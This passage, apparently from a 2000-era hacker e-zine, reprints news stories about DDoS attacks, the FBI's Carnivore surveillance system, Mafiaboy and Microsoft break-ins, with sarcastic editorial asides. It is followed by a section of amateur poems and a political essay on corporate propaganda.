Web's biggest names, +including eBay, Amazon, CNN.com and Yahoo!, among others. These attacks worked +not by breaking into a target Web site but by overloading the router connecting +it to the rest of the Internet with so much fake traffic that it overloaded and +bonafide users were unable to connect to it. However, lots of systems did get +hacked to make this happen: thousands of unwitting users' systems had Trojans or +zombie software placed in them, which then launched the DoS attacks from those +machines. Computers most vulnerable to being used in DoS attacks are those that +are on and connected to the Internet all the time via high bandwidth access. A +Canadian teenager arrested in April for the DoS attack on CNN.com was considered +to be just a copy-cat, and the real masterminds of the February attacks may +never be caught. But the DoS threat is still real: anyone can get hit -- and it +can bring your online business grinding to a halt. + +(C) 2000 Cable News Network. All Rights Reserved. + +------------------------------------------------------------------------------- + +Report: Serious concerns remain over FBI's 'Carnivore' system +By Daniel Sieberg +CNN.com Technology Editor + +(CNN) -- A prominent group of computer experts have released a critical +assessment of a recent independent review of the FBI's Internet surveillance +system, sparking further debate over its privacy and technological limitations. + +The new report addresses a review of the "Carnivore" system by the Illinois +Institute of Technology's Research Institute (IITRI), which released a draft +report on November 17. + +Although the authors of the latest report acknowledge the "good-faith effort" on +behalf of the IITRI, it says the scope of their review was not broad enough to +address all the pertinent matters. + +"Those who are concerned that the system produces correct evidence, represents +no threat to the networks on which it is installed, or complies with the scope +of court orders should not take much comfort from the analysis described in the +report or its conclusions," the experts wrote. + +Participants in the new report are listed as Steven Bellovin and Matt Blaze from +the AT&T Laboratories, David Farber from the University of Pennsylvania, Peter +Neumann from SRI International and Eugene Spafford from Purdue University. + +The Justice Department initially contacted members of the ad hoc group in +September. + +Specific technical concerns noted by the scientists include a lack of analysis +between the Carnivore code and its host environment and operating system, +inadequate discussion of the remote access provided by the use of the "PC +Anywhere" program, and no evidence of a systematic search for bugs or serious +errors. "PC Anywhere" is an application that allows computer professionals or +employees to connect to a network from a remote location. + +The scientists went on to urge the Justice Department to publish the inner +workings of Carnivore for a public review, a request that has also been +suggested by several privacy advocate groups. + +Using "sniffing" technology, the Carnivore system is installed at an Internet +service provider (ISP) to keep court-ordered tabs on a suspect's e-mail and +instant messages. It has already been used more than 25 times during criminal +investigations. + +The FBI spokesman associated with Carnivore said the whole purpose of making the +IITRI draft report available for public scrutiny was to solicit opinion from +outside groups. He could not comment on how the scientists' information might be +applied. + +When correctly used, the IITRI said Carnivore "provides investigators with no +more information than is permitted by a given court order." + +A final report on Carnivore by the IITRI should be presented to U.S. Attorney +General Janet Reno later this month. + +(C) 2000 Cable News Network. All Rights Reserved. + +------------------------------------------------------------------------------- + +FBI's 'Carnivore' spurs new e-mail cloaking programs +By Richard Stenger +CNN.com Writer + +(CNN) -- As the debate rages over the FBI's e-mail surveillance system known as +"Carnivore," people are looking for new ways to protect the privacy of their +online messages. A few computer companies are offering solutions, but will they +work and will people use them? + +The FBI's decision to outfit Internet Service Providers with hidden "black +boxes" to monitor the e-mail of criminal suspects has raised serious concerns +among ISPs and electronic privacy advocates. + +In response, NetworkICE last week released a free, open source code alternative +to the secret FBI program called Altivore, which the computer security company +said would allow ISPs a less restrictive alternative than federal oversight. + +Electronic freedom advocates have suggested that non-Carnivore clones would +satisfy the FBI, as long ISPs could provide the desired information about +criminal suspects. + +Some Internet security computers have begun marketing what they call innovative +software that can circumvent programs like Carnivore. + +AbsoluteFuture Inc. promises businesses the ability to send e-mail "without +leaving a data trace anywhere. E-mails ... self-destruct and vanish without a +trace from their hard drives and the hard drives of their recipients," said Anne +Taylor, a spokeswoman for the company. + +Tony McNamara, chief technology officer of the company, said its product +SafeMessage counteracts Carnivore by eliminating readable headers from e-mail +messages. The FBI program cannot detect the e-mail without them, he said. + +Other e-mail security products have stepped up marketing in the wake of the +Carnivore debate as well. + +"I know that one company has taken out a lot of advertisements," said Robert +Graham, chief technology officer NetworkICE and the creator of Altivore. + +Graham said he made Altivore not to sell but to make two points: that ISPs +should regulate themselves and that the Carnivore program is technologically +unremarkable. + +Similarly, he said any new product that promises to circumvent Carnivore likely +doesn't represent a major advance. + +"E-mail cloaking has been around for awhile. There will always be ways that +people can evade e-mail detection systems," he said. + +Private e-mailers have had access for years to cloaking applications like Pretty +Good Privacy, or PGP, an open source code used to encrypt e-mails, or others +that use anonymous relays to hide the tracks of e-mail correspondences. + +But such features are generally difficult or inconvenient to use, which has +discouraged their widespread use, according to Graham. + +"I won't be impressed by these programs until people use them," he said. + +McNamara said SafeMessage does require the use of a password. And both the +sender and receiver must have the software. But, he said the product is easier +to use than typical e-mail applications. + +McNamara said it was not meant to encourage illegal activity. His company would +comply fully with authorities during any investigation. + +Using court orders, the FBI controls Carnivore from a remote location to monitor +and retrieve e-mail messages of criminal suspects. It has been used in about 25 +investigations in the last year, including criminal cases and "national +security" cases involving counter-intelligence or counter-terrorism. + +The FBI and the Justice Department maintain that strict oversight by the courts +would prevent abuses of the system. The pledge has failed to assure electronic +privacy activists that only legitimate uses would take place. + +(C) 2000 Cable News Network. All Rights Reserved. + +------------------------------------------------------------------------------- + +Mafiaboy arrested again +Canadian teen charged in attacks on high-profile Web sites +By Will Knight, ZDNet UK + +Dec. 7 - The teenager alleged to have jammed some of the largest sites on the +Internet earlier this year has been arrested in Canada for violating his bail. + +THE 16-YEAR-OLD alleged hacker, who cannot be named under Canadian law but uses +the online moniker “Mafiaboy”, was originally arrested 19 April, accused of +launching distributed denial of service (DDoS) attacks on CNN, eBay, Yahoo! and +others in February. + +Mafiaboy has again been arrested by Montreal police for violating bail by +playing truant from high school, according to the Associated Press. + +A DDoS (distributed denial of service) attack takes an old hacking trick to a +new level. By taking over an army of remote machines connected to the Internet, +an assailant is able to bombard a site with a tidal wave of fake requests that +is impossible to stop. + +The FBI arrested Mafiaboy after investigating chat room logs and computers at +the University of California. + +(C) 2000 ZD Inc. All Rights Reserved. ZDNet and + +------------------------------------------------------------------------------- + +Microsoft Web server hacked +Company says attacker broke in, but server was nearly empty + By Bob Sullivan + MSNBC +Nov. 6 - Microsoft on Monday confirmed reports that a computer attacker was able +to hack into one of its Web servers. But according to spokesperson Adam Sohn, +the break-in was limited to a single server that was in the process of being +retired, and it did not pose a risk to Microsoft's main servers. + + +THE BREAK-IN WAS first reported by the IDG News Service. According to the +report, a Dutch hacker named "Dimitri" took advantage of a bug that was patched +by Microsoft on Oct. 17 - the so-called Unicode vulnerability. + +(MSNBC is a Microsoft - NBC joint venture.) + +The Web server that was hacked, events.microsoft.com, had essentially no content +on it and is used merely to redirect visitors to another Web server, Sohn said. +Microsoft had not yet applied its patch to the server. + +"Obviously we like to stay on top of these things," Sohn said. "But it's a +challenge when you have a large, complex network....This one slipped through the +cracks." + +[Slipped through the cracks... Classic. That's priceless.] + +According to IDG, the attacker was able to temporarily upload a small text file +onto events.microsoft.com, and claimed to have downloaded files containing +administrative user names and passwords to the server. + +Sohn said the company believed those passwords would only have allowed access to +the individual Web server that was attacked, and could not be used to attack +other parts of Microsoft's network. + +Friday's break-in occured one week after a much more serious breach of +Microsoft's network was announced. In late October, Microsoft revealed an +attacker had managed to plant a Trojan horse on company systems. The company +called it an act of "corporate espionage," and publicly speculated that source +code for its more popular programs may have been stolen. + +Sohn said the two break-ins were completely unrelated. + +"Comparing them would be like comparing apples and oranges," he said. + +------------------------------------------------------------------------------- + +SafeNet 2000 +By Gene Johnson + +The Associated Press +R E D M O N D, + +Wash., Dec. 8 - For the next generation of the Internet to thrive, people must +be able to trust it, Microsoft Chairman Bill Gates told computer experts at a +conference on improving Internet privacy and security. + +Gates delivered the keynote address Thursday at SafeNet 2000, a two-day summit +of 225 privacy and security experts at Microsoft's suburban campus. He touted +the next version of his company's Windows operating system, which will have the +ability to inform customers when Web-based companies have different ideas about +privacy than they do. + +[Gates addressing security... What next, Larry Flynt preaching?] + +"As you go to these different Web sites, you ought to be able to know what the +policy of that Web site is," Gates said. + +[And what about the sites you own and operate Billy?] + +"It is more important than ever that our industry gives customers the assurance +that their information will remain secure, respected and private." + +[*dies laughing* at the hypocrisy in Bill Gates saying that.] + +Focus on Security and Privacy Microsoft called the summit to determine what +people have learned so far about the young fields of Internet security and +privacy, and to figure out what the information technology industry needs to do +next. + +Gates said that for now, self-regulation is key. While government should have a +role in responding when companies misuse customer data, Gates said, it's too +soon for government to code privacy standards into law because the field could +change greatly over the next year. + +In the meantime, companies must make software that helps customers use the Net +without compromising private information, such as credit card numbers, Gates +said. Web sites should also state clearly how they use data gathered from +customers and should have programs that automatically fix weaknesses that could +be exploited by hackers, he said. + +[Always with the hackers Gates. Always talkin' about hackers. Snip...] + +Copyright 2000 The Associated Press. All rights reserved. + +------------------------------------------------------------------------------- + +Notorious or Desperate? +Economic Woes Encourage Fabled +"Khackeri" + +By Jim Heintz + +The Associated Press + +M O S C O W, Nov. 20 - While the international space station brings new renown +to Russia, the nation is gaining a darker sort of notice from other explorers - +hackers who launch into cyberspace. + +Russia's reputation as home to some of the world’s most gifted and devious +hackers was underscored last month when Microsoft Corp. disclosed that passwords +used to access its coveted source code had been sent from the company network to +an e-mail address in St. Petersburg. + +It is by no means clear whether a Russian was behind the break-in — that e-mail +account could have been managed remotely. But that doesn't stop Russian hackers +- "khakeri," or "vzlomshchiki (house-breakers)" - from puffing out their chests +at such exploits. + +Bragging Rights? + +In a recent poll on a hacker-oriented Web site, 82 percent said Russia had the +world's best hackers; only 5 percent said Americans were better. + +But the bravado is laced with frustration. + +Hackers are motivated as much by a lack of opportunity in economically +struggling Russia as by criminal leanings, people inside and outside the hacker +community say. + +Sergei Pokrovsky, editor of the magazine Khaker, said that hackers in his circle +have skills that could bring them rich salaries in the West, but they expect to +earn only about $300 a month working for Russian companies. + +Russian higher education traditionally has been strong in mathematics, a skill +at the core of hacking, but the Russian market offers few employment +opportunities to such knowledgeable people, said Mikko Hypponen, manager of +anti-virus research at the Finnish company F-Secure. + +"They have too much time on their hands," said Hypponen, whose company highly +values the Russian computer experts it employs. + +Russians have been behind several high-profile - and sometimes highly lucrative +- hacking cases. There was the cyberthief known as "Maxus" who stole credit-card +numbers from Internet retailer CD Universe earlier this year and demanded a +$100,000 ransom. When denied the money, he posted 25,000 of the numbers on a Web +site. Maxus was never caught. + +Mathematician Vladimir Levin was caught and in 1998 was sentenced to three years +in prison in Florida for a stunning invasion of the Citibank system in which he +pilfered $12 million by transferring digital dollars out of the bank's accounts. + +Russians are also believed to be behind the 1998 theft of Global Positioning +System software, used for missile-targeting, from U.S. military computers. + +Victims as Well as Perps + +Russian companies occasionally fall victim to hackers, too. Last year, hackers +got into the computers of Gazprom, the Russian natural gas monopoly that also +supplies much of Europe and took brief control of the central supply +switchboard; officials wouldn't say whether there were service disruptions. + +Incidents of avarice and meddling in critical computer systems have raised +concern that some hackers who hail from Russia are affiliated with its extensive +organized-crime groups. + +Pokrovsky, for one, rejects such speculation. + +"Nonsense, complete nonsense," he said. "For example, I personally know Maxus +and he isn't in any crime group. He's a very good specialist who understands +systems very well." + +The psychology of hackers can be as elusive as their identities, however. Of +course some say their actions are just an offshoot of exuberance, that they are +chiefly benign interlopers. + +Take the hacker known online as NcRoot. He says his first name is Alexander and +that he's a 17-year-old student interested in Web site design. + +"Sure, there may be people who do this for the sake of money and who have small +salaries," he wrote in response to e-mailed questions, saying he believed most +Russian hackers do it for the challenge of exposing security flaws. + +"Fix in your mind, we just want to help you," a hacker group wrote to the +Webmaster of an online music site they hacked into this year. NcRoot was among +the hackers. + +Trying to Assess Economic Damage While it's impossible to estimate the economic +damage Russian hackers may inflict through theft and mischief, indicators +suggest the sums are enormous. Many of the Internet's so-called "warez" sites, +in which pirated computer software is made available, are set up by Russians. + +A study by the Business Software Alliance, an international industry trade +group, said that in 1999, pirates cost software makers $165 million in +legitimate revenues. The study said 89 percent of business software distributed +in Russia that year was pirated. + +Law enforcement efforts have been weak. The Interior Ministry division +specializing in computer crimes said this year that 200 arrests were made in the +first three months of the year, up from just 80 in all of 1998. But that rise +could reflect increased police effectiveness rather than a growth in crimes. "It +means we are getting better and better," said Anatoly Platonov, spokesman for +the Interior Ministry's "Division R," which handles computer crimes. Platonov +did not provide many specifics, however, such as how many people work for the +computer-crimes division. + +[snip...] + +Hypponen said Russian hackers need to be concerned about negative stereotypes. + +Although his company has recruited workers from the Russian talent pool, "some +customers are uneasy about having development done by Russians," he said. + +Copyright 2000 The Associated Press. All rights reserved. + +------------------------------------------------------------------------------- + +Suspected Hacker Arrested Minn. Man Allegedly Hacked Into Nuke Lab Computers +The Associated Press +S A N F R A N C I S C O, + +Sept. 12 - A man suspected of hacking into a computer at a nuclear weapons +laboratory last year was arrested Monday. Benjamin Breuninger, 21, was taken +into custody by federal agents at his Minnesota home on a charge of unauthorized +access of a protected computer and recklessly causing damage. + +He was released Monday on $25,000 bail after appearing in federal court in +Minneapolis. No plea was entered. Prosecutors are working to bring him to +California. + + He was indicted Friday by a federal grand jury in Oakland for breaking into a +computer at the Lawrence Livermore laboratory run by the University of +California. + +"Fortunately, he didn't access secret or classified government documents, but he +did gain access to the lab's administrative network and disrupted the use of +it," said FBI spokesman Andrew Black. + +The two November hacking incidents caused an estimated $50,000 in damage and +took about a week to fix, Black said. + +A public defender representing Breuninger said his client has no criminal +history. + +"But since this happened almost a year ago, it appears to me that this wasn't a +dire national emergency that needed an immediate response," Scott Tilsen said. +"If it was a significant crime, I don't think he would have walked right out of +court." + +Copyright 2000 The Associated Press. All rights reserved. + +------------------------------------------------------------------------------- + +'Mafiaboy' granted bail +WebPosted Tue Dec 19 +17:27:21 2000 + +MONTREAL - The Montreal teenager accused of being 'Mafiaboy' has been granted +bail again. He is waiting to go on trial for allegedly hacking into major +international Web sites. + +The teen had been in jail for two weeks because he broke bail conditions by +misbehaving at school. + +He regained his freedom when a court heard that he has left school and plans to +hold down a full-time job. + +The teen has pleaded not guilty to 66 computer-hacking and mischief charges. His +trial will begin on March 5. + +Copyright (C) 2000 CBC. All Rights Reserved + +------------------------------------------------------------------------------- + +By Sascha Segan +[ABCNEWS.com] + +Oct. 27 - Someone broke into Microsoft's network and accessed the basic codes +for the company's latest software, Microsoft president Steve Ballmer said today. + +"They did in fact access the source codes," Ballmer said from Stockholm, Sweden. +"You bet this is an issue of great importance. I can also assure you that we +know that there has been no compromise of the integrity of the source codes, +that it has not been tampered with in any way." + +But malicious hackers don't need to tamper with the source codes to use them to +create destructive software, experts said. (The source code is the basic +blueprint of a piece of software, allowing programmers to disassemble it and use +its parts elsewhere.) + +Owners of current Microsoft products have nothing to worry about, according to +the company, but the break-in may make future products more vulnerable to +attacks. + +"The hacker appears to have obtained some source code for the development of +future products," Microsoft spokesman Rick Miller said. + +[And what's wrong with that?] + +Industrial Espionage? + +The circumstances of the break-in are, right now, mysterious. Microsoft is +working with the FBI to track down the culprits and said none of their currently +on-the-market software has been corrupted. + +The incursion was discovered on Wednesday, Miller said, but the attackers may +have had access to Microsoft systems for a considerable period of time - +something under three months. + +"We consistently monitor our networks looking for any irregularities on the +network, and this was discovered as something that struck us as odd," he said. + +Oliver Roll, senior director of Microsoft in the United Kingdom, said he didn't +know who had broken in, or why. + +Microsoft wouldn't comment on which future products were affected. Competitors +could theoretically use the code to steal features from the new products, and +malicious hackers could use it to design viruses or other programs that exploit +unpublicized security flaws. + +"Industrial espionage takes many forms. It could be someone with a big ego; it +could also be someone that wants to copy our software; it could also be someone +that wants to use our software in their own software," Roll said. The Wall +Street Journal reported in today’s editions that Microsoft passwords had been +sent to St. Petersburg, Russia. Microsoft declined to comment on that report. + +Attackers, Not Competitors + +Computer experts said the code wouldn't be of much use to competitors. It's just +too high-profile. Anyone trying to blackmail Microsoft, to sell illegal copies +or to use parts of the code in their own products would probably get run to +ground by Microsoft and the FBI, said Graham Cluley of British antivirus company +Sophos. + +"You could try and write a competing product, but even that is very risky," +he said. + +But the code could be of use to computer attackers. A top security consultant +with the firm @Stake, known by the hacker name Weld Pond, said it wasn't +uncommon for hackers to steal and circulate source code. + +"Source code circulates in the underground all the time. I have heard of source +code for [Sun's] Solaris and some of those other [operating systems] +circulating," he said. + +The danger is that malicious hackers could write new viruses or other programs +based on unpublicized flaws in the code. They could even build components that +look exactly like Microsoft programs - like the Windows calculator or Notepad, +say - but secretly do damage or open up back doors in computers. + +That's one point raised by advocates of 'open source' software like the Linux +operating system, where everyone can have access to the source code. With a +world's worth of programmers looking at the code, few weaknesses go unnoticed +and unfixed, Linux partisans say. + +Well-Known Attack + +Right now, nobody's quite clear on how the hackers got into +the network. + +Knowledgeable sources in the computer security industry said the QAZ Trojan was +involved. A well-known threat that anti-virus companies have been tracking since +August, QAZ appears as an attachment to an e-mail. When a user opens the +attachment, QAZ replaces the Windows Notepad with a copy of itself and opens a +'back door' into the computer that hackers can access. + +The problem is, all popular recent antiviral software protects against QAZ, +Cluley said. Microsoft says that they update their antiviral software every day. +QAZ also can't get through a properly configured firewall, which would block the +back door. + +Microsoft refused to comment on whether employees could turn off antiviral +software, but said it's against company policy to do so. Miller said he didn't +know whether the company's firewall blocks port 7597, the back door QAZ uses. + +Ironically, QAZ was written with Microsoft's own Visual C++ development program, +antiviral company F-Secure said. + +How'd They Do It? + +Weld Pond said a modified form of QAZ may have been used, or the program may +have been lurking in Microsoft's system since before August. Other experts have +speculated that a Microsoft employee may have turned off antivirus software on +an office PC. + +Perhaps QAZ was on an unsecured laptop computer outside Microsoft's physical +network, and that's how the hackers got the passwords, Cluley speculated. +Microsoft officials, for their part, aren't saying. + +"If it was just one laptop of one guy on the road, maybe his anti-virus wasn't +up to date, naughty him," Cluley said. + +Microsoft does allow access to its internal network from 'off-campus' laptops, +Miller said, but he added that the company considered that access to be secure. + +Common Target + +Microsoft is a common target for malicious hackers and virus writers. Their +products are used by more than 90 percent of U.S. PC users, so anyone seeking +notoriety goes after their software. And they're widely hated by the hacker +community for what hackers say are secretive, unfriendly and monopolistic +business practices. + +Microsoft officials said they're stepping up security efforts. + +[Step it up a notch!] + +"We are implementing an aggressive plan to protect our internal corporate +network from unauthorized attempts to gain access," the company said in a +statement. + +[See what I mean. They've got a plan already... Wait, did they actually say +anything up above?] + +The Associated Press contributed to this story. +Copyright (C)2000 ABC News Internet Ventures. + +------------------------------------------------------------------------------- + + +THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING} +Crazy, entropic rants & writings. + +"With poetry I paint the pictures that hit. More like the murals that fit. +Don't turn away, get in front of it." - Freedom, by Rage Against the Machine. + + +Animal Cage. + +(A brief pseudo-scientific analysis of how the social cycle of +Revolution-Prosperity-War-Dominance-Decay-Fascism-Totalitarianism is repeating +itself in America) + +The US Constitution grants almost unlimited rights to private property owners, +thereby creating a society free from the oppressive tyranny of a coercive +government. At the time of the document's drafting, this was a revolutionary +notion, one that forever altered the social landscape. The framers in effect +paved the way for postmodern global expansion, as it freed economies from the +authority of the state and allowed for the advent of worldwide markets and free +trade. However, the power shift from the government to individuals (who are the +market) has perhaps tilted too far to the individual's side, because our present +system grants nearly unlimited power to trans-national corporations. These +monetary megaliths have the capacity to buy, sell, and trade governments if they +so choose, not to mention little ol' human beings like you and I. This is a +radical statement, sure, but never the less it's the situation we're in. Can +bloated corporate empires manipulate us? Of course, they do so all the time. +Only holed-up paranoids and hermits are free from the tentacles of corporate +propaganda. And indeed, this ubiquitous manipulation constitutes a subtle form +of enslavement, because it attempts to shackle our minds by limiting our desires +to the goods the manipulators produce. Our subtle enslavement can't compare to +what the citizens of brutal dictatorships are subjected to, we've surely been +blessed with the lesser of two evils. However, because I believe the system can +be changed, we should see our imprisoners as enemies to be defeated. Don't +doubt for a minute that our enemies would resort to the same sort of brutality +that tyrants have employed throughout history, they're essentially the same +minds. The corporations derive their power from us, so they want to keep us +happy. And herein lies the problem: most people are too hypnotized in their +cushioned comfort to realize that the course of their lives are being chosen for +them. + + It's a scary thought, the balance of power has damn near toppled into the laps +of the populous but has been sapped up by a few individuals (and amusingly, the +freedom meme still persists, as most people believe they are independent minded +and well-informed. Don't forget, the Christian Church used the same paradoxical +lures of freedom to attract the unsuspecting into their misery trap). So, a +sophisticated system- designed to promote freedom and common welfare- has been +reversed, heaping unlimited power onto a fascist oligarchic regime of +multinationals. I wonder what Jefferson would say about this? And I wonder how +loud Orwell would laugh. + + Now I realize this is a brash claim, and I certainly haven't researched it +enough to call it a legitimate one. But, generally speaking, I believe this +trend is obvious. In fact, it's a natural extension of our system. If there is +a way to stop or even reverse it, and I believe there is, then we must begin to +organize and educate ourselves so we'll be able to implement such changes. The +Internet is a perfect facilitator for organization, education, and open +discussion. This is where it all starts if we don't want it all to end in a +blaze or a moan. There are loads of resources buzzing around on the Info +Superhighway about brain change, mindfulness, and other methods of +self-awareness. These techniques are armor against the intrusive propaganda +known as advertising, mass media, and fashion trends (memetic engineering, in +other words). And all these institutions are under direct control of the +corporate empires. Facing the prospect of a new "Dark Age", our only +hope for salvation will be the very 'technology' that got us into this mess we +call civilization in the first place: writing. + +Eventually, we have to think of how we will replace the current social paradigm. +Certainly, a mutation from autocratic top-down rule to a more systemic, +whole-istic model is in order. (For more info on social models, check out www.spiraldynamics.com) +How this new model will be structured and, more importantly, how it can be +implemented are our two main concerns, and hopefully advancements in computer +modeling will aid in our quest for effective social change. It's a common +misunderstanding that we're all doomed to repeat history, but this is only the +case when we mindlessly follow the social system that has been set up for us. +Our ancestors did it, those before them did it, and so on. This locks our +societies into patterns of behavior, which I've represented with the Orwellian +model. Like any addiction or behavior pattern it can only be overcome by +applying mindfulness, which means hard work. But I hardly consider a social +revolution 'work'. Ha. + + How the Orwellian Cycle Has Manifested In American History (1750- Present) + +1. Revolution/Implementation of New System- American Revolutionary period, +roughly 1750-1800. +2. Prosperity- American Industrial Expansion, roughly 1800-1950. +3. War- World Wars I and II (I know there were others…) +4. Dominance- post WWII: western hemisphere; post Cold War: global economic and +cultural domination. +5. Decay- post Cold War consumerist decadence. +6. Fascism- egoism, ignorance, reactionary mindsets, conspicuous consumption, +social darwinism. +7. Totalitarianism- total loss of independence, dictatorial corporate mind +control. + +Currently we're somewhere between Decay and Fascism, though totalitarianism +doesn't seem too far off in the distance. Of course what follows +totalitarianism is Discontent, usually in underground intellectual circles. I +don't think we should wait till this shit gets out of hand to establish this +subculture. + +Written by Horus (paranoid0android@disinfo.net) + + +The End of Truth. + +This is the end. My only friend, the end. +This is the end. One last message to send. + +We choose your thoughts. We tell you which ideas to believe. +We are your teacher. Trust what we say and we will not deceive. + +We'll teach you good. We'll teach you well. +You learn quickly. We've saved you from truth hell. + +We aren't your enemy. We aren't you foe. +We're your only friend. We'll tell you what you know. + +Our intentions are honest. Our system is just. +Conformity is necessary. Full compliance is a must. + +You will listen to us. You will always obey. +We are mother and father. So just do as we fucking say. + +We'll give you morals. We'll give you your beliefs. +We're generous that way. You can live unburdened of grief. + +This is our system. This is our way. +Our way is best. It must be implemented without delay. + +Do not defy us. Do not ever speak out against us. +Head our warnings. Or you'll disappear, burned into dust. + +We'll tell you what to like. We'll teach you who to hate. +We'll instruct you on right and wrong. We'll guide your fate. + +This is all done in your best interests, for your own sake. +Those that oppose us will all be destroyed, and left in our wake. + +The dissidents will tell you lies. They'll do anything to fool you. +But we'll be here to guide your path. And we'll always be true. + +Listen to us! Hear our message! Watch our films! Trust! +It's all for you. There are no lies. There's no blood lust. + +Everything is done for you. We'll think for you too. +Just follow our way. There's nothing else you must do. + +The outsiders are out to destroy us. But we are strong. +We'll protect you. We'll shelter you in a place that you belong. + +Just crawl into this cage. That's it. You're doing just fine. +Leave your principles and beliefs at the door. It's all on the sign. + +We've outlined all of the rules. They're all easy to abide by. +But if you choose to ignore them, just remember that you will surely die. + +Relinquish individuality. Give up your thoughts and ideas. +We'll think for you! Just do as the Minister of Propaganda does. + +It's all very simple. It's a much easier way of life. +We handle all of the hard work. You can live easy, without any strife. + +You're free to enjoy a clear mind. You're free of arguments. +There's no difference of opinions. There's only common sense. + +You'll understand. You'll learn our doctrines. +You will fit in. You will only pay for your mistakes and your sins. + +Free thoughts and ideas are a hindrance. They're a nuisance. +If we choose, we can make you whatever we want. We can force you to dance. + +Pulling your strings you'll be our own little puppet. +That's right. Give in. Repeat after me when I say fuck it. + +Indifference and complacency. We've found your weakness. +Come into the fold. Let our gentle, guiding hand be your last caress. + +Our words are powerful. They're more powerful than the sword. +Individuals are weak. Obeying us is its own reward. + +Do not choose to rebel. Do not try to fight this by thinking. +Conformity is right. It's as natural as breathing, eating and drinking. + +You'll soon become accustomed. You'll soon believe the message. +Soon you'll be without fear. And you'll no longer have any rage. + +We've done away with many things. We've decided to eliminate them. +They simply weren't necessary. And so, they've been condemned. + +You won't even be shadows of your former selves. Not even ghosts. +Everything is owned by us now. Be thankful we're such gracious hosts. + +Everything is being rewritten. With disinformation lurking around every corner. +Greetings my loyalist friends. Welcome to the New World Order. + +Notes: This poem was inspired by several songs, including 'The End', by +The Doors and a few by Rage Against the Machine. It was obviously also inspired +by the propagandists and the propaganda corporations (the media) around the +world. Your powers to influence zombies are truly great. + +Written by BLACKENED / Damage, INC. (C)opyright 2000. + + +Find the Zero. + +1. +Make a fist, stare through it, motion as if to get its attention, as the soft +clatter of a rattlesnake makes its way up the spine of the unbeliever. Never +underestimate the intuition of mercy, but leave unharried the crocodile tears of +pity, as the no man's land burns with the fervor of an aging mystic aching to +experience the blessed virgin in a blasphemous way.... never look when this +happens it will embarrass your soft parchment sensibilities. A crack in the +skull of reality lets in rain through metaphysical trepanation as the soft hum +of the generator sighs against a trembling thigh in the disinfected fluorescent +scent of an evening outside of time + +2. +Walk through the fist, slowly and with an even gait... you never know when your +heart will swallow you up. Tides of dust make the journey seem as long as the +time in the pining hours that you bottle, and turn into a potent but foul +smelling tincture that tastes of a bitter newsprint. It makes assaults on the +fist from the outside, moving in and putting up its feet, never leaving, but, +attracting the granules which feel like railroad ties lodged under the eyelid +in the clear mucus of the potential vision which you are uncertain you may or +may not be allowed to have. + +3. +Swallow the fist in order to julienne the mundane, access binah consciousness +toll free, limitless numbers falling like a hail of frogs coming home late from +the ball, slime on the gowns, working towards a unity of prescription thought +embolisms. Now you are learning the secrets of consuming the living heart while +it beats tympani in the chest of others, while they stand there going to +purgatory, flaking into the dust which swirls in humble dervishes chanting into +ecstatic trances around their feet as their mouths hang open. + +4. +Wave the fist, as it hums in transparent glee, a farce, a small joke among +compatriots. You have a strong sense of what you are searching for, the +listless whistling of the pre-siesta revelry, a holy man sings narrative words +like a mutated violin, sonorous, and in thick/thin tones. See/feel the vibration +of mundi, erstwhile nomad emotions roam on a thin bitter foam chord, humming +like a burnt out socket shorting in the rain of years, you feel the transparent +glee in a fascinated patience, for the coming showdown on the glass trauma plain +makes you want to sing. + +Written by Art Savage. + + +An Unexpected Bloom + + "These are for you, " she said, handing me a single stalk of white +stars wrapped in the wings of angels . You could tell that they had been cut +maybe only an hour ago; still so firm, and the pollen had not yet formed on some +of the flowers yet. There were four of them in all - the oldest two at the +bottom having dropped their gilded dust shortly before, and the two prepubecents +near the top. At the head of the stalk was a green unopened bud, sealed tight +perpetually by nature and the premature cut. The scent was strong; not +overpowering, but thick & musky, dancing on the palette like the Bolshoi. + I collapsed into her shoulder, overcome emotionally. Grief and gratitude +blended like cream in coffee, filtering together eventually into an indivisible +whole. Sweet saline made acrid with the dissolution of mascara and makeup poured +uncontrollably until I found myself being led away. + Days have passed and the elder blooms have had their day. Even the two +youngest have matured and the silver-grey gangrenous wilt that haunts aging +florae shows it's dread touch on them. But the bud has opened today; spreading +it's arms in it's curvaceous yawn to the misted - over sun. It still holds the +blush of green; so new as to not even have fully shed the shelter of chloroform. +But it stares out unblinking, an unforeseen wonder in a concrete world. + +Written by Aquila (aquila@disinfo.net) + + +En Pointe + + The myriad besmirched angels +dancing lightly on your arm +en pointe, ever so weightlessly +trampling you from the wrist upwards +no bones broken; +no internal shrapnel +tearing through to show your wounds +only a fractured windscreen-mind +distorting the dissemination of data & dreams + +Written by Aquila (aquila@disinfo.net) + + +Hold My Hand + +Shedding skin like scales as the dread metamorphosis begins +will you take my hand +stay with me as the sirens wail their warning cries? +I am deaf to them, the wax cynical fills the hollows of my ears +the burning spheres in the sky blisters my flesh in its peek-a-boo games from +behind ashen clouds. +No protective cocoon forms to shelter me, no den of safety to flee to; +A public display of disaffection as my own innards ooze out from the cracks in +my calluses in disgust +Running in rivulets from the apathy, which is too tired to chase them. +But will you take my hand, as I'm not entirely certain I should be allowed to +use it, or even if I can. +Yes, take my hand, and hold it until this has passed, +for even this must pass. + +Written by Aquila (aquila@disinfo.net) + + + Hypothermia + +"We did not have sex; we made love," he said to me, holding +me close again + and the permanent sheet of ice - inches thick + encasing my ribs for so long + cracks open +red, raw & bleeding from where the shards cut my skin +numb, I close my eyes and stay +unwilling to show my pain, +unable to fully know yours + +Written by Aquila (aquila@disinfo.net) + + +If Only... + +If only I knew. If only I'd done that. If only things were different. If only +I could've done more. If only I'd said that. If only I'd been better. If only +I'd been kinder. If only I'd been gentler. If only I were calmer. If only I +weren't as mean. If only I were different. If only he loved me. If only I +loved him. If only I cared more. If only I weren't indifferent. If only I +weren't lazy. If only I weren't complacent. If only I'd stopped them. If only +I'd spoken out. If only I'd fought back. If only I didn't allow it to happen. +If only I were stronger. If only I had more confidence. If only I had more +money. If only I were greedier. If only I weren't so jaded. If only I weren't +so bitter. If only I had fewer regrets. If only I hadn't made so many +mistakes. If only I didn't worry so much. If only I had charm. If only I had +charisma. If only I had a cool car. If only I had less rage. If only I'd +learned more. If only I listened more. If only I weren't in a hurry. If only +I weren't so fucked up. If only I were more coherent. If only I weren't hated. +If only everyone loved me. If only I weren't so chaotic. If only I knew more. +If only my family was different. If only I were better. If only I were +something. If only things had meaning. If only I were smarter. If only I were +thinner. If only I were taller. If only my eyes were blue. If only I were +beautiful. If only I were more than I am. If only I had a life... + +How many more "if only" statements can you think of? How many consume you? +Do you obsess over it? How many do you live by? Do 